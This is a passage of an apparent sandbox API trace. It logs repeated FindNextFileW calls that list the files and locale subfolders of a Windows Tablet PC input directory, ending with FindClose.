	[0050.815] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d546fc, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d546fc, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsptb.xml", cAlternateFileName="")) returned 1
	[0050.815] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d7a859, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d7a859, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsptg.xml", cAlternateFileName="")) returned 1
	[0050.815] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d7a859, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d7a859, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa54, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsrom.xml", cAlternateFileName="")) returned 1
	[0050.815] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27da09b6, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27da09b6, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsrus.xml", cAlternateFileName="")) returned 1
	[0050.815] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27da09b6, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27da09b6, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa08, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipssrb.xml", cAlternateFileName="")) returned 1
	[0050.815] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27dc6b13, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27dc6b13, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa24, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipssrl.xml", cAlternateFileName="")) returned 1
	[0050.815] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27decc70, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27decc70, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipssve.xml", cAlternateFileName="")) returned 1
	[0050.815] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-IT", cAlternateFileName="")) returned 1
	[0050.815] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1
	[0050.815] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b45ecf9, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x8b45ecf9, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x2b0dd120, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x14de00, dwReserved0=0x0, dwReserved1=0x0, cFileName="journal.dll", cAlternateFileName="")) returned 1
	[0050.815] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1
	[0050.815] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lt-LT", cAlternateFileName="")) returned 1
	[0050.815] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lv-LV", cAlternateFileName="")) returned 1
	[0050.815] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69e22d6e, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x69e22d6e, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x3188e7b0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x1a0200, dwReserved0=0x0, dwReserved1=0x0, cFileName="micaut.dll", cAlternateFileName="")) returned 1
	[0050.815] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x472c5956, ftCreationTime.dwHighDateTime=0x1ca040e, ftLastAccessTime.dwLowDateTime=0xa4945a00, ftLastAccessTime.dwHighDateTime=0x1ca0424, ftLastWriteTime.dwLowDateTime=0x9fcc4285, ftLastWriteTime.dwHighDateTime=0x1ca0425, nFileSizeHigh=0x0, nFileSizeLow=0x7c000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Ink.dll", cAlternateFileName="")) returned 1
	[0050.815] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa12394d3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa12394d3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa125f634, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x179c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mip.exe", cAlternateFileName="")) returned 1
	[0050.815] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ad46e47, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x5ad46e47, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x344e2230, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x609c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mraut.dll", cAlternateFileName="")) returned 1
	[0050.815] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66c00201, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x66c00201, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x34eb4c90, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xc200, dwReserved0=0x0, dwReserved1=0x0, cFileName="mshwgst.dll", cAlternateFileName="")) returned 1
	[0050.815] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x901e133e, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x901e133e, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x353c2bb0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x105a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mshwLatin.dll", cAlternateFileName="")) returned 1
	[0050.815] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-NO", cAlternateFileName="")) returned 1
	[0050.816] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1
	[0050.816] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1
	[0050.816] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1
	[0050.816] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1
	[0050.816] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-RO", cAlternateFileName="")) returned 1
	[0050.816] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42a795bf, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x42a795bf, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x43f1e320, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x29800, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtscom.dll", cAlternateFileName="")) returned 1
	[0050.816] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-RU", cAlternateFileName="")) returned 1
	[0050.816] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a593198, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x6a593198, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xf44c0670, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xa9c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShapeCollector.exe", cAlternateFileName="")) returned 1
	[0050.816] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-SK", cAlternateFileName="")) returned 1
	[0050.816] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-SI", cAlternateFileName="")) returned 1
	[0050.816] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-Latn-CS", cAlternateFileName="SR-LAT~1")) returned 1
	[0050.816] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-SE", cAlternateFileName="")) returned 1
	[0050.816] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56ef1310, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x56ef1310, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x449d3e50, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x9e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TabIpsps.dll", cAlternateFileName="")) returned 1
	[0050.816] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bf05363, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bf05363, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bf05363, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x6d600, dwReserved0=0x0, dwReserved1=0x0, cFileName="tabskb.dll", cAlternateFileName="")) returned 1
	[0050.816] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45c03bb8, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x45c03bb8, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xf8825d20, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x36c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TabTip.exe", cAlternateFileName="")) returned 1
	[0050.816] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="th-TH", cAlternateFileName="")) returned 1
	[0050.816] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41bbeec8, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x41bbeec8, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44c363f0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x1b000, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipBand.dll", cAlternateFileName="")) returned 1
	[0050.816] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d6a2945, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x5d6a2945, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x18975da0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x85000, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipRes.dll", cAlternateFileName="")) returned 1
	[0050.816] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d7038f2, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x3d7038f2, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x18975da0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll", cAlternateFileName="")) returned 1
	[0050.816] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa125f634, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa125f634, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa1285794, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x130600, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipskins.dll", cAlternateFileName="")) returned 1
	[0050.816] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa1213373, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa1213373, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa12394d3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x7ae00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tiptsf.dll", cAlternateFileName="")) returned 1
	[0050.816] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3dda83b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3dda83b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3dda83b, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x18c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tpcps.dll", cAlternateFileName="")) returned 1
	[0050.816] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x980e725f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x980e725f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-TR", cAlternateFileName="")) returned 1
	[0050.816] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk-UA", cAlternateFileName="")) returned 1
	[0050.816] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98074e3f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98074e3f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1
	[0050.816] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 1
	[0050.816] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0050.816] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
